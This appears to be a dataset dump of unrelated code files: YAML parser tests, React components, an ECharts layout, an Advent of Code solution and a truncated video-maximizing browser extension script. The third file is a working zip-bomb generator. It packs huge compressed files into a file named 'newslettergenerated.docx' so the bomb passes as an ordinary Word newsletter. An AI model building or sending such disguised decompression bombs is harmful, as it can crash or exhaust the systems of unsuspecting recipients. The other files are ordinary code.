text
stringlengths 3
1.05M
|
---|
"""yamlfile.py unit tests."""
from unittest.mock import patch
import pytest
import pypyr.parser.yamlfile
def test_yaml_file_open_fails_on_arbitrary_string():
"""Non path-y input string should fail."""
with pytest.raises(FileNotFoundError):
pypyr.parser.yamlfile.get_parsed_context('value 1,value 2, value3')
def test_yaml_file_open_fails_on_empty_string():
"""Non path-y input string should fail."""
with pytest.raises(AssertionError):
pypyr.parser.yamlfile.get_parsed_context(None)
def test_yaml_pass(fs):
"""Relative path to yaml should succeed."""
in_path = './tests/testfiles/dict.yaml'
fs.create_file(in_path, contents="""key1: value1
key2: value2
key3: value3
key4:
k41: k41value
k42:
- k42list1
- k42list2
- k42list3
k43: True
k44: 77
key5:
- k5list1
- k5list2
""")
context = pypyr.parser.yamlfile.get_parsed_context([in_path])
assert context, "context shouldn't be None"
assert len(context) == 5, "context should have 5 items"
assert context['key2'] == 'value2', "key2 should be value2"
assert len(context['key4']['k42']) == 3, "3 items in k42"
assert 'k42list2' in context['key4']['k42'], "k42 containts k42list2"
assert context['key4']['k43'], "k43 is True"
assert context['key4']['k44'] == 77, "k44 is 77"
assert len(context['key5']) == 2, "2 items in key5"
@patch('pypyr.config.config.default_encoding', new='utf-16')
def test_yaml_pass_with_encoding(fs):
"""Relative path to yaml should succeed."""
in_path = './tests/testfiles/dict.yaml'
fs.create_file(in_path, contents="""key1: value1
key2: value2
key3: value3
key4:
k41: k41value
k42:
- k42list1
- k42list2
- k42list3
k43: True
k44: 77
key5:
- k5list1
- k5list2
""", encoding='utf-16')
context = pypyr.parser.yamlfile.get_parsed_context([in_path])
assert context, "context shouldn't be None"
assert len(context) == 5, "context should have 5 items"
assert context['key2'] == 'value2', "key2 should be value2"
assert len(context['key4']['k42']) == 3, "3 items in k42"
assert 'k42list2' in context['key4']['k42'], "k42 containts k42list2"
assert context['key4']['k43'], "k43 is True"
assert context['key4']['k44'] == 77, "k44 is 77"
assert len(context['key5']) == 2, "2 items in key5"
def test_list_yaml_fails(fs):
"""Yaml describing a list rather than a dict should fail."""
in_path = './tests/testfiles/list.yaml'
fs.create_file(in_path, contents="""- listitem1
- listitem2
- listitem2.1
- listitem2.2
- listitem3
""")
with pytest.raises(TypeError):
pypyr.parser.yamlfile.get_parsed_context([in_path])
|
// @flow
import React from "react";
const LendingIcon = ({ size = 16 }: { size: number }) => (
<svg
width={size}
height={size}
viewBox="0 0 16 17"
fill="none"
xmlns="http://www.w3.org/2000/svg"
>
<path
d="M2.54545 7.27274V11.0909C2.54545 12.1955 3.44088 13.0909 4.54545 13.0909H9.45455"
stroke="currentColor"
strokeWidth="1.5"
/>
<path
d="M7.27273 10.5455L9.45454 13.0909L7.27273 15.6364"
stroke="currentColor"
strokeWidth="1.5"
/>
<path
d="M13.4545 9.09091V5.27273C13.4545 4.16816 12.5591 3.27273 11.4545 3.27273H6.90909"
stroke="currentColor"
strokeWidth="1.5"
/>
<path
d="M9.09091 5.81819L6.90909 3.27274L9.09091 0.727281"
stroke="currentColor"
strokeWidth="1.5"
/>
<rect
x="11.6591"
y="10.9318"
width="3.59091"
height="3.59091"
rx="1.79545"
stroke="currentColor"
strokeWidth="1.5"
/>
<rect
x="0.75"
y="1.47726"
width="3.59091"
height="3.59091"
rx="1.79545"
stroke="currentColor"
strokeWidth="1.5"
/>
</svg>
);
export default LendingIcon;
|
import os, zipfile
file_count = 2
zip_file = 'newsletter.docx'
forty_two = '42.zip'
bomb_file = 'newslettergenerated.docx'
tmp_dir = '/tmp/zip_bomb'
file_name = '0.txt'
mb = 10485
# mb = 1
def create_tmp_dir():
if not os.path.exists(tmp_dir):
os.makedirs(tmp_dir)
def extract_docx():
unzip = 'unzip {} -d{}'.format(zip_file, tmp_dir)
os.system(unzip)
remove_dirs = 'find {} -type f -print0 | xargs -0 rm'.format(tmp_dir)
os.system(remove_dirs)
def copy_target_zip():
command = 'cp {} {}'.format(forty_two, tmp_dir + "/" + bomb_file)
os.system(command)
def update_zip(target):
command = 'cd {}; 7z u -mx9 {} {} -x!{}'.format(tmp_dir, target, "*", target)
os.system(command)
def create_file():
file_path = '{}/{}'.format(tmp_dir, file_name)
f = open(file_path, 'w')
# 4GB - 1byte (largest file that zip will currently compress)
for i in range((1024 * 4) - 1):
f.write('1' * mb)
f.write('1' * (mb - 1))
f.close()
def move_file(sourcedir, currentnum, targetdir, nextnum):
command = 'mv {}/{}.txt {}/{}.txt'.format(sourcedir, currentnum, targetdir, nextnum)
os.system(command)
def create_bomb():
listfiles = os.listdir(tmp_dir)
for root, dirs, _ in os.walk(tmp_dir):
for directory in dirs:
create_file()
command = 'mv {}/0.txt {}/0.txt'.format(tmp_dir,root+"/"+directory)
os.system(command)
for num in range(file_count):
file_name = '{}.txt'.format(root+"/"+directory,num)
update_zip(bomb_file)
next_num = num+1
move_file(root+"/"+directory, num, root+"/"+directory, next_num)
command = 'rm {}/{}.txt'.format(root+"/"+directory, file_count)
os.system(command)
def add_other_files():
unzip = 'unzip {} -d{}'.format(zip_file, tmp_dir)
os.system(unzip)
update_zip(bomb_file)
def cleanup_temp():
mv_newsletter = 'mv {}/{} {}'.format(tmp_dir, bomb_file, bomb_file)
os.system(mv_newsletter)
cleanup_mess = 'rm -rf {}'.format(tmp_dir)
os.system(cleanup_mess)
create_tmp_dir()
extract_docx()
copy_target_zip()
create_bomb()
add_other_files()
cleanup_temp()
|
import _extends from "@babel/runtime/helpers/esm/extends";
import _objectWithoutPropertiesLoose from "@babel/runtime/helpers/esm/objectWithoutPropertiesLoose";
import React from 'react';
import PropTypes from 'prop-types';
import classNames from 'classnames';
import { mapToCssModules, tagPropType } from './utils';
var propTypes = {
tag: tagPropType,
fluid: PropTypes.bool,
className: PropTypes.string,
cssModule: PropTypes.object
};
var defaultProps = {
tag: 'div'
};
var Container = function Container(props) {
var className = props.className,
cssModule = props.cssModule,
fluid = props.fluid,
Tag = props.tag,
attributes = _objectWithoutPropertiesLoose(props, ["className", "cssModule", "fluid", "tag"]);
var classes = mapToCssModules(classNames(className, fluid ? 'container-fluid' : 'container'), cssModule);
return React.createElement(Tag, _extends({}, attributes, {
className: classes
}));
};
Container.propTypes = propTypes;
Container.defaultProps = defaultProps;
export default Container; |
import React from "react"
import { useStaticQuery, graphql } from 'gatsby'
import styled from 'styled-components'
const HomeSimple = () => {
const data = useStaticQuery(graphql`
query {
allWordpressWpHomeSection(filter: {categories: {elemMatch: {wordpress_id: {eq: 6}}}}) {
edges {
node {
content
}
}
}
}
`)
return(
data.allWordpressWpHomeSection.edges.map(post => (
<MiddleSection>
<MiddleContent
data-sal="slide-up"
data-sal-duration="1000"
data-sal-delay="300"
data-sal-easing="ease"
dangerouslySetInnerHTML={{ __html: post.node.content }}
/>
</MiddleSection>
))
)
}
const MiddleSection = styled.div`
background-color: #000;
padding-top: 0px;
padding-bottom: 0px;
text-align: center;
position: relative;
z-index: 1;
`
const MiddleContent = styled.div`
max-width: 1140px;
padding-right: 20px;
padding-left: 20px;
width: 100%;
margin: 0 auto;
.home-black-background {
padding-top: 80px;
padding-bottom: 80px;
p {
font-family: "Helvetica Thin";
color: #61b1e8;
font-size: 35px;
line-height: 35px;
margin-bottom: 0;
}
}
`
export default HomeSimple |
define(function (require) {
return function (seriesModel) {
var coordSys = seriesModel.coordinateSystem;
if (coordSys && coordSys.type !== 'view') {
return;
}
var rect = coordSys.getBoundingRect();
var nodeData = seriesModel.getData();
var graph = nodeData.graph;
var angle = 0;
var sum = nodeData.getSum('value');
var unitAngle = Math.PI * 2 / (sum || nodeData.count());
var cx = rect.width / 2 + rect.x;
var cy = rect.height / 2 + rect.y;
var r = Math.min(rect.width, rect.height) / 2;
graph.eachNode(function (node) {
var value = node.getValue('value');
angle += unitAngle * (sum ? value : 2) / 2;
node.setLayout([
r * Math.cos(angle) + cx,
r * Math.sin(angle) + cy
]);
angle += unitAngle * (sum ? value : 2) / 2;
});
graph.eachEdge(function (edge) {
var curveness = edge.getModel().get('lineStyle.normal.curveness') || 0;
var p1 = edge.node1.getLayout();
var p2 = edge.node2.getLayout();
var cp1;
if (curveness > 0) {
cp1 = [cx, cy];
}
edge.setLayout([p1, p2, cp1]);
});
};
}); |
from math import inf
def calcNewPos(direction, value, x, y):
incX = 0
incY = 0
if (direction == "R"):
incX = 1
if (direction == "U"):
incY = 1
if (direction == "L"):
incX = -1
if (direction == "D"):
incY = -1
return [x + incX, y + incY]
def script():
board = {}
filepath = 'input.txt'
with open(filepath) as fp:
line = fp.readline()
index = 0
while line:
instructions = line.split(",")
x = 0
y = 0
step = 0
minDistance = inf
for instruction in instructions:
direction = instruction[:1]
value = int(instruction[1:])
for v in range(1, value + 1):
newX, newY = calcNewPos(direction, v, x, y)
x = newX
y = newY
step += 1
if (index == 0):
if (newX not in board):
board[newX] = []
oldX = board[newX]
oldX.extend([(newY, step)])
board[newX] = oldX
elif (index == 1):
if (newX in board):
column = dict(board[newX])
if (newY in column):
secondStep = column[newY]
newDistance = step + secondStep
if (newDistance < minDistance):
minDistance = newDistance
index += 1
line = fp.readline()
return minDistance
print(script())
|
// TC object stub
var TC = {state: 'notInitialized'};
// listen to instructions from background page
if (window === window.top) {
chrome.runtime.onMessage.addListener(function (message, sender, callback) {
if (message.type === "browserAction") {
switch (TC.state) {
case 'notInitialized':
initializeTabCinema();
// note the fall-through here
case 'normal':
TC.findVideos([]);
break;
case 'maximized':
TC.minimizeVideo();
break;
case 'overlay':
TC.removeOverlays();
break;
}
}
});
}
// listen to events from child/parent windows
var TCrequests = [
'requestVideos',
'reportVideos',
'reportDone',
'maximizeVideo',
'minimizeVideo',
'addOverlay',
'removeOverlays',
'removeOverlay',
'requestEndFullscreen'
];
window.addEventListener("message", function (event) {
if (TCrequests.indexOf(event.data.message) === -1) {
// do not respond to messages that do not belong to TC
return;
}
// initialize TabCinema upon first message
if (TC.state === "notInitialized") {
initializeTabCinema();
}
// process message
switch (event.data.message) {
case 'requestVideos':
TC.findVideos(event.data.path);
break;
case 'reportDone':
TC.processReport();
break;
case 'reportVideos':
TC.addVideos(event.source, event.data.videos);
break;
case 'maximizeVideo':
TC.maximizeVideo(event.data.path);
break;
case 'minimizeVideo':
TC.minimizeVideo();
break;
case 'addOverlay':
TC.addOverlay(event.data.uid);
break;
case 'removeOverlays':
TC.removeOverlays();
break;
case 'removeOverlay':
TC.removeOverlay(event.data.uid);
break;
case 'requestEndFullscreen':
TC.minimizeVideo();
break;
}
}, false);
// listen to shortcut key
document.body.addEventListener('keydown', function (e) {
if ((e.keyCode === 32 && e.ctrlKey) || (e.keyCode === 27 && (TC.state === 'maximized' || TC.state === 'overlay'))) {
switch (TC.state) {
default:
case 'notInitialized':
case 'normal':
window.top.postMessage({
message: 'requestVideos',
path: []
}, '*');
break;
case 'maximized':
window.top.postMessage({
message: 'requestEndFullscreen'
}, '*');
break;
case 'overlay':
window.top.postMessage({
message: 'removeOverlays'
}, '*');
break;
}
e.stopPropagation();
e.preventDefault();
}
});
// populate TC object
function initializeTabCinema() {
TC = {
// options
options: {
scanTags: [
"video",
"embed",
"object",
"img",
"canvas"
],
scanTimeout: 250,
minSize: 150
},
// local variables
state: "normal",
path: [],
allVideos: [],
myVideos: {},
iframes: {},
target: {},
scrollBeforeMaximize: {top: 0, left: 0},
handleVideoRemoveTimeout: 0,
wrapUpTimeout: 0,
pendingReports: 0,
inlineStyleSubtle: "\
clear : none !important;\
top : 0 !important;\
left : 0 !important;\
min-width : 0 !important;\
min-height : 0 !important;\
width : 99.99% !important;\
height : 99.99% !important;\
max-width : 99.99% !important;\
max-height : 99.99% !important;\
margin : 0 !important;\
padding : 0 !important;\
visibility : visible !important;\
border-width: 0 !important;\
background : black !important;",
inlineStyleForce: "\
position : fixed !important;\
top : 0 !important;\
left : 0 !important;\
min-width : 0 !important;\
min-height : 0 !important;\
width : 99.99% !important;\
height : 99.99% !important;\
max-width : 99.99% !important;\
max-height : 99.99% !important;\
margin : 0 !important;\
padding : 0 !important;\
visibility : visible !important;\
border-width: 0 !important;\
background : black !important;",
// find all videos on this page
findVideos: function (path) {
// store path for later reference
this.path = path;
// reset collections
this.allVideos = [];
this.myVideos = {};
this.iframes = {};
// first find all video elements in this frame and report
var videos = [];
var elmts = document.querySelectorAll(this.options.scanTags.join(','));
for (var i = 0; i < elmts.length; i++) {
var el = elmts[i];
// skip tiny elements
if (Math.min(el.offsetWidth, el.offsetHeight) < this.options.minSize) {
continue;
}
// skip objects that are invisible or not currently in the viewport
if (this.fractionInViewport(el) === 0) {
continue;
}
// be careful with objects containing embeds (common flash construction)
var tag = el.nodeName.toLowerCase();
if (tag === 'embed') {
if (el.parentNode.nodeName.toLowerCase() === 'object') {
if (Math.min(el.parentNode.offsetWidth, el.parentNode.offsetHeight) > this.options.minSize) {
// parent object will be scanned in due time; skip this embed
continue;
}
}
}
else if (tag === 'object') {
var embeds = el.getElementsByTagName('embed');
if (embeds.length !== 0) {
// always scale the embed rather than the object
el = embeds[0];
}
}
// generate (semi) unique path
var uid = '' + Math.round(Math.random() * 1e9);
// add to videos collection to forward to main page
videos.push({
uid: uid,
path: this.path.concat([uid]),
tag: tag
});
// add to private video collection
this.myVideos[uid] = el;
}
// send videos collection to wrap-up function
if (videos.length > 0) {
if (window === window.top) {
this.addVideos(window, videos);
}
else {
// report results to top window
window.top.postMessage({
message: 'reportVideos',
videos: videos
}, '*');
}
}
// then tell all iframes to report their videos
var iframes = document.querySelectorAll("iframe");
this.pendingReports = 0;
for (var i = 0; i < iframes.length; i++) {
var frame = iframes[i];
// only scan iframes that are currently in the content window
if (this.fractionInViewport(frame) > 0) {
var uid = '' + Math.round(Math.random() * 1e9);
this.iframes[uid] = frame;
this.pendingReports++;
frame.contentWindow.postMessage({
message: 'requestVideos',
path: this.path.concat([uid])
}, '*');
}
}
// wrap up reports if there are no iframes, or set a timeout
if (this.pendingReports === 0) {
this.wrapUpReports();
}
else {
this.wrapUpTimeout = window.setTimeout(function () {
console.warn('TC iframe timeout');
TC.wrapUpReports();
}, this.options.scanTimeout);
}
},
// top window: handle reports of videos in iframes
addVideos: function (parentWindow, videos) {
for (var i in videos) {
videos[i].window = parentWindow;
}
this.allVideos = this.allVideos.concat(videos);
},
// iframe reporting in
processReport: function () {
if (--this.pendingReports === 0) {
window.clearTimeout(this.wrapUpTimeout);
this.wrapUpReports();
}
},
// after all reports have come in, or timeout occured, take action
wrapUpReports: function () {
if (window !== window.top) {
// signal parent that we're finished here
window.parent.postMessage({
message: 'reportDone'
}, '*');
}
else {
// all reports are in... find out which video to maximize
if (this.allVideos.length === 1) {
// only one candidate -> maximize that one
this.maximizeVideo(this.allVideos[0].path);
}
else if (this.allVideos.length > 1) {
// multiple candidates -> videos take precedence
var videoCount = 0, videoIndex = 0;
for (var i = 0; i < this.allVideos.length; i++) {
if (this.allVideos[i].tag !== 'img') {
videoCount++;
videoIndex = i;
}
}
if (videoCount === 1) {
// only one video -> maximize that
this.maximizeVideo(this.allVideos[videoIndex].path);
}
else {
// multiple or zero video elements -> let user choose via overlays
this.addOverlays();
}
}
else {
// no videos or images found
if (this.stage === "maximized") {
window.top.postMessage({
message: 'requestEndFullscreen'
}, '*');
}
}
}
},
// start the maximizing process for a single video
maximizeVideo: function (path) {
// state-dependent first action
if (this.state === "maximized") {
// was maximized already, clean up remnants of current video
if (this.target.tag === "video" && !this.target.isYTHTML5) {
this.target.customControls.destroy();
}
}
else {
// new maximize, remember scroll position
this.scrollBeforeMaximize = {
top: document.body.scrollTop,
left: document.body.scrollLeft
};
// remove overlays if any
if (this.state === "overlay") {
this.removeOverlays();
}
}
// take action depending on iframe or element
if (path.length > 1) {
// set frame CSS
this.target = {
DOMnode: this.iframes[path[0]],
tag: 'iframe',
subtle: false
};
this.maximizeTarget();
// communicate down
this.iframes[path[0]].contentWindow.postMessage({
message: 'maximizeVideo',
path: path.slice(1)
}, '*');
}
else {
// collect target from myVideos collection
var el = this.myVideos[path[0]];
// set target properties
this.target = {
DOMnode: el,
tag: el.nodeName.toLowerCase(),
player: this.getPlayer(el),
quality: this.getQuality(el),
subtle: true
};
// replace scaling variable
if (this.target.tag === 'object') {
var params = this.target.DOMnode.getElementsByTagName('param');
for (var i = 0; i < params.length; i++) {
if (params[i].name === 'scale') {
if (params[i].value === 'noscale') {
this.target.subtle = false;
this.target.scaleParam = params[i].value;
params[i].value = 'default';
}
}
else if (params[i].name === 'flashvars') {
var fv = params[i].value;
if (fv) {
var newfv = fv.replace(/stretching=[^&]*/i, 'stretching=uniform');
if (newfv !== fv) {
this.target.subtle = false;
this.target.fv = fv;
params[i].value = newfv;
}
}
}
}
}
else if (this.target.tag === 'embed') {
var fv = this.target.DOMnode.getAttribute('flashvars');
if (fv) {
this.target.fv = fv;
var newfv = fv.replace(/stretching=[^&]*/i, 'stretching=uniform');
this.target.DOMnode.setAttribute('flashvars', newfv);
}
}
// change quality
this.setQuality(this.target.DOMnode, 'highest');
// add custom controls to HTML5 video
if (this.target.tag === 'video') {
// do not replace yt html5 controls as this messes up the buffering
if (window.location.host === "www.youtube.com") {
var controls = document.querySelector('.html5-video-controls');
if (controls) {
this.target.isYTHTML5 = true;
this.target.YTHTML5controls = controls;
this.target.controlsVisible = false;
if (typeof controls['originalStyle'] === "undefined") {
controls['originalStyle'] = controls.getAttribute('style') || '';
controls.setAttribute('style', controls['originalStyle'] + 'position: absolute !important; visibility: hidden !important;');
TC.addClassDeep(controls, 'tc-show');
}
var hideControlsTimeout = 0;
var onControls = false;
document.body.addEventListener('mousemove', this.handleYTHTML5MouseMove);
}
}
// hide standard controls and add custom HTML5 controls to circumvent click handler issues
if (!this.target.isYTHTML5) {
this.target.subtle = true;
this.target.controls = this.target.DOMnode.controls;
this.target.DOMnode.controls = false;
this.target.customControls = this.createHTML5Controls(this.target.DOMnode);
this.target.DOMnode.parentNode.appendChild(this.target.customControls.container);
}
}
// add css to element
this.maximizeTarget();
// set focus to video
try {
this.target.DOMnode.focus();
} catch (err) {
}
}
// scroll to top left
document.body.scrollTop = document.body.scrollLeft = 0;
// take actions that are not to be repeated when maximizing next video in playlist
if (this.state !== "maximized") {
// create an observer instance to register changes in the document while maximized
this.removedObserver = new MutationObserver(this.handleMutations);
this.removedObserver.observe(document.body, {childList: true, subtree: true});
// set new state
this.state = "maximized";
}
},
// Maximize action DOM manipulations
maximizeTarget: function () {
var el = this.target.DOMnode;
// for images, simply set the image as the body background
if (this.target.tag === 'img') {
var src = el.src || '';
el = document.body;
while (el !== document) {
// make sure element remains visible
el.classList.add('tc-show');
// maximize all parents if in subtle mode
if (typeof el['originalStyle'] === "undefined") {
el['originalStyle'] = el.getAttribute('style') || '';
}
// append style rather than replacing it, in case element has inline properties that might trigger reload when removed (e.g. position)
if (el === document.body) {
el.setAttribute('style', el['originalStyle'] + this.inlineStyleSubtle + 'background: black url("' + src + '") no-repeat center center fixed !important; background-size: contain !important;');
}
else {
el.setAttribute("style", el['originalStyle'] + this.inlineStyleSubtle);
}
// move up one level
el = el.parentNode;
}
return;
}
// be more subtle with embeds and objects to avoid triggering reloads
if (!this.target.subtle) {
if (typeof el['originalStyle'] === "undefined") {
el['originalStyle'] = el.getAttribute('style') || '';
}
el.setAttribute("style", this.inlineStyleForce);
}
while (el !== document) {
// make sure element remains visible
el.classList.add('tc-show');
// maximize all parents without being subtle
el.classList.add('tc-subtle');
if (typeof el['originalStyle'] === "undefined") {
el['originalStyle'] = el.getAttribute('style') || '';
}
// append style rather than replacing it, in case element has inline properties that might trigger reload when removed (e.g. position)
el.setAttribute("style", el['originalStyle'] + this.inlineStyleSubtle);
// move up one level
el = el.parentNode;
}
},
// Minimize the active video
minimizeVideo: function () {
// restore state
this.state = "normal";
// stop observing DOM changes
this.removedObserver.disconnect();
// restore object parameters
if (typeof this.target.scale !== "undefined") {
this.target.DOMnode.scale = this.target.scale;
}
// tag-specific restorations
if (this.target.tag === "iframe") {
this.target.DOMnode.contentWindow.postMessage({message: 'minimizeVideo'}, '*');
}
else if (this.target.tag === "video") {
if (this.target.isYTHTML5) {
window.clearTimeout(TC.hideControlsTimeout);
document.body.removeEventListener('mousemove', this.handleYTHTML5MouseMove);
var controls = this.target.YTHTML5controls;
controls.setAttribute('style', controls['originalStyle']);
TC.removeClassDeep(controls, 'tc-show');
}
else {
this.target.customControls.destroy();
this.target.DOMnode.controls = this.target.controls;
}
}
else if (this.target.tag === 'embed') {
if (this.target.fv) {
this.target.DOMnode.setAttribute('flashvars', this.target.fv);
}
}
else if (this.target.tag === 'object') {
if (this.target.scaleParam || this.target.fv) {
var params = this.target.DOMnode.getElementsByTagName('param');
for (var i = 0; i < params.length; i++) {
if (this.target.scaleParam && params[i].name === 'scale') {
params[i].value = this.target.scaleParam;
}
else if (this.target.fv && params[i].name === 'flashvars') {
params[i].value = this.target.fv;
}
}
}
}
// restore elements
this.minimizeTarget();
//restore scroll position
document.body.scrollTop = this.scrollBeforeMaximize.top
document.body.scrollLeft = this.scrollBeforeMaximize.left;
// reset collections
this.allVideos = [];
this.myVideos = {};
this.iframes = {};
},
// Minimize video DOM actions
minimizeTarget: function () {
if (!this.target.DOMnode) {
// this can occur if the video was removed
return;
}
// for images, simply set the image as the body background
if (this.target.tag === 'img') {
el = document.body;
while (el !== document) {
// make sure element remains visible
el.classList.remove('tc-show');
el.setAttribute('style', el['originalStyle']);
el.removeAttribute('originalStyle');
// move up one level
el = el.parentNode;
}
return;
}
// restore target css
var el = this.target.DOMnode;
if (!this.target.subtle) {
el.setAttribute('style', el['originalStyle']);
el.removeAttribute('originalStyle');
}
while (el && el !== document) {
// remove added class
el.classList.remove('tc-show');
// restore css
el.classList.remove('tc-subtle');
el.setAttribute('style', el['originalStyle']);
el.removeAttribute('originalStyle');
// move up one level
el = el.parentNode;
}
},
// show a button on top of each video
addOverlays: function () {
this.state = 'overlay';
for (var i = 0; i < this.allVideos.length; i++) {
var video = this.allVideos[i];
if (video.window === window) {
this.addOverlay(video.uid);
}
else {
video.window.postMessage({
message: 'addOverlay',
uid: video.uid
}, '*');
}
}
},
// remove overlays over videos
removeOverlays: function () {
this.state = 'normal';
for (var i = 0; i < this.allVideos.length; i++) {
var video = this.allVideos[i];
if (video.window === window) {
this.removeOverlay(video.uid);
}
else {
video.window.postMessage({
message: 'removeOverlay',
uid: video.uid
}, '*');
}
}
},
// create and insert overlay button
addOverlay: function (uid) {
var el = this.myVideos[uid];
var div = document.createElement('div');
div.classList.add('tc-overlay');
div.style.width = el.offsetWidth + 'px';
div.style.height = el.offsetHeight + 'px';
div.style.lineHeight = el.offsetHeight + 'px';
div.innerHTML = 'Click to maximize';
div.setAttribute('videoUid', uid);
div.addEventListener('click', this.handleOverlayClick);
if (el.nextSibling) {
el.parentNode.insertBefore(div, el.nextSibling);
}
else {
el.parentNode.appendChild(div);
}
var elRect = el.getBoundingClientRect();
var divRect = div.getBoundingClientRect();
var topError = elRect.top - divRect.top;
var leftError = elRect.left - divRect.left;
div.style.marginLeft = leftError + 'px';
div.style.marginTop = topError + 'px';
},
// remove overlay button
removeOverlay: function (uid) {
var overlays = document.querySelectorAll('.tc-overlay');
for (var i = 0; i < overlays.length; i++) {
if (uid === overlays[i].getAttribute('videoUid')) {
overlays[i].removeEventListener('click', this.handleOverlayClick);
overlays[i].parentNode.removeChild(overlays[i]);
}
}
},
// handle click on overlay
handleOverlayClick: function (e) {
var uid = e.target.getAttribute('videoUid');
window.top.postMessage({
message: 'maximizeVideo',
path: TC.path.concat([uid])
}, '*');
e.preventDefault();
e.stopPropagation();
},
// handle changes in the document (such as occur in playlists when the video is replaced)
handleMutations: function (mutations) {
if (!TC.hasClass(document.body, "tc-show")) {
window.clearTimeout(TC.handleVideoRemoveTimeout);
TC.handleVideoRemoveTimeout = window.setTimeout(function () {
TC.handleVideoRemoved()
}, 100);
}
else {
mutations.forEach(function (mutation) {
for (var i in mutation.removedNodes) {
if (TC.hasClass(mutation.removedNodes[i], 'tc-show')) {
window.clearTimeout(TC.handleVideoRemoveTimeout);
TC.handleVideoRemoveTimeout = window.setTimeout(function () {
TC.handleVideoRemoved()
}, 100);
}
}
});
}
},
// action to take when the video was removed from the DOM
handleVideoRemoved: function () {
// find next video to maximize if current one is removed
this.findVideos([]);
},
// show youtube html5 controls upons mousemove
handleYTHTML5MouseMove: function (e) {
var onControls = e.clientY > window.innerHeight - 40;
var controls = TC.target.YTHTML5controls;
if (TC.target.controlsVisible) {
window.clearTimeout(TC.hideControlsTimeout);
}
else {
controls.setAttribute('style', controls['originalStyle'] + 'position: fixed !important; visibility: visible !important;');
TC.target.controlsVisible = true;
}
TC.hideControlsTimeout = window.setTimeout(function () {
if (!onControls) {
controls.setAttribute('style', controls['originalStyle'] + 'position: absolute !important; visibility: hidden !important;');
TC.target.controlsVisible = false;
}
}, 1000);
},
// jQuery hasClass function
hasClass: function (node, selector) {
var className = " " + selector + " ";
if (node.nodeType === 1 && (" " + node.className + " ").replace(/[\t\r\n\f]/g, " ").indexOf(className) >= 0) {
return true;
}
else {
return false;
}
},
// add class to element and all children (recursively)
addClassDeep: function (el, cls) {
if (el.classList) {
el.classList.add(cls);
}
var children = el.childNodes;
for (var i in children) {
TC.addClassDeep(children[i], cls);
}
},
// remove class from element and all children (recursively)
removeClassDeep: function (el, cls) {
if (el.classList) {
el.classList.remove(cls);
}
var children = el.childNodes;
for (var i in children) {
TC.removeClassDeep(children[i], cls);
}
},
// determine if element is currently visible
isVisible: function (el) {
return (el.clientWidth > 0 || el.clientHeight > 0) && window.getComputedStyle(el).visibility !== 'hidden';
},
getOffset: function (el) {
var offset = {left: 0, top: 0};
do {
offset.left += (el.offsetLeft || 0);
offset.top += (el.offsetTop || 0);
} while (el = el.offsetParent);
return offset;
},
fractionInViewport: function (el) {
var rect = el.getBoundingClientRect();
var visibleRect = {
top: Math.max(0, rect.top),
right: Math.min(window.innerWidth || document.documentElement.clientWidth, rect.right),
bottom: Math.min(window.innerHeight || document.documentElement.clientHeight, rect.bottom),
left: Math.max(0, rect.left)
};
visibleRect.width = Math.max(0, visibleRect.right - visibleRect.left);
visibleRect.height = Math.max(0, visibleRect.bottom - visibleRect.top);
return (visibleRect.width * visibleRect.height) / (rect.width * rect.height);
},
getPlayer: function (el) {
if (el.nodeName.toLowerCase() === 'video') {
return "html5";
}
else if (el.getPlayerState) {
return "yt";
}
else if (el.getConfig) {
return "jw4";
}
else {
return "other";
}
},
getQuality: function (el) {
var player = this.getPlayer(el);
if (player === "yt") {
try {
return el.getPlaybackQuality();
} catch (err) {
}
}
else {
return "";
}
},
setQuality: function (el, q) {
var player = this.getPlayer(el);
if (player === "yt") {
try {
if (q === 'highest') {
var qs = el.getAvailableQualityLevels();
q = qs[0];
}
window.setTimeout(function () {
try {
el.setPlaybackQuality(q);
} catch (err) {
}
}, 200);
} catch (e) {
}
}
},
createHTML5Controls: function (node) {
var html5controls = {
video: node,
container: null,
construct: function () {
// create container
this.container = document.createElement('div');
this.container.classList.add('tc-show');
this.container.setAttribute('id', 'tc-html5-controls-hover-container');
this.container.setAttribute('style', 'display: block; text-align: center; width: 99.99%; height: 50px; position: fixed; bottom: 0; left: 0; z-index: 10000');
// create inner container
this.inner = document.createElement('div');
this.inner.classList.add('tc-show');
this.inner.setAttribute('style', 'position: relative; width: 50%; padding: 0px 30px; margin: 5px auto; height: 30px; background-color: rgba(0,0,0,0.5); border-radius: 5px; box-shadow: 0px 0px 10px #888; -webkit-box-sizing: content-box;-moz-box-sizing: content-box;box-sizing: content-box;');
this.container.appendChild(this.inner);
// create stretching container
var stretch = document.createElement('div');
stretch.classList.add('tc-show');
stretch.setAttribute('style', 'position: relative; width: 99.99%;');
this.inner.appendChild(stretch);
// add play/pause button
this.btnPlay = document.createElement('div');
this.btnPlay.setAttribute('style', 'position: absolute; left: 5px; top: 5px; width: 20px; height: 20px; background-color: rgba(100,100,100,0.5); color: #fff; font-size: 16px; line-height: 20px; border-radius: 3px; cursor: pointer');
this.btnPlay.classList.add('tc-show');
this.updateState();
this.inner.appendChild(this.btnPlay);
// add progress bar
this.progressBar = document.createElement('div');
this.progressBar.classList.add('tc-show');
this.progressBar.setAttribute('style', 'float: left; position: relative; margin: 5px 0; height: 20px; width: 79%; border: 1px solid rgba(255,255,255,0.2); border-radius: 3px; overflow: hidden;');
this.loadedIndicator = document.createElement('div');
this.loadedIndicator.classList.add('tc-show');
this.loadedIndicator.setAttribute('style', 'position: absolute; left: 0; top: 0; width: 0%; height: 99.99%; background-color: rgba(255,255,255,0.2);');
this.playedIndicator = document.createElement('div');
this.playedIndicator.classList.add('tc-show');
this.playedIndicator.setAttribute('style', 'position: absolute; left: 0; top: 0; width: 0%; height: 99.99%; background-color: rgba(255,255,255,0.5);');
this.seekRange = document.createElement('input');
this.seekRange.classList.add('tc-show');
this.seekRange.setAttribute('type', 'range');
this.seekRange.setAttribute('min', 0);
this.seekRange.setAttribute('max', 100);
this.seekRange.setAttribute('step', 0.1);
this.seekRange.setAttribute('style', 'position: relative; width: 99.99%; background: none; border: none;');
this.progressBar.appendChild(this.loadedIndicator);
this.progressBar.appendChild(this.playedIndicator);
this.progressBar.appendChild(this.seekRange);
stretch.appendChild(this.progressBar);
// add volume section container
var volumeContainer = document.createElement('div');
volumeContainer.classList.add('tc-show');
volumeContainer.setAttribute('style', 'float: left; position: relative; margin: 5px 0; height: 20px; width: 20%;');
stretch.appendChild(volumeContainer);
// add mute button
this.btnMute = document.createElement('div');
this.btnMute.classList.add('tc-show');
this.btnMute.setAttribute('style', 'position: absolute; width: 20px; height: 20px; left: 5px; top: 0; background-color: rgba(100,100,100,0.5); color: #fff; font-size: 12px; line-height: 20px; border-radius: 3px; text-align: center; cursor: pointer');
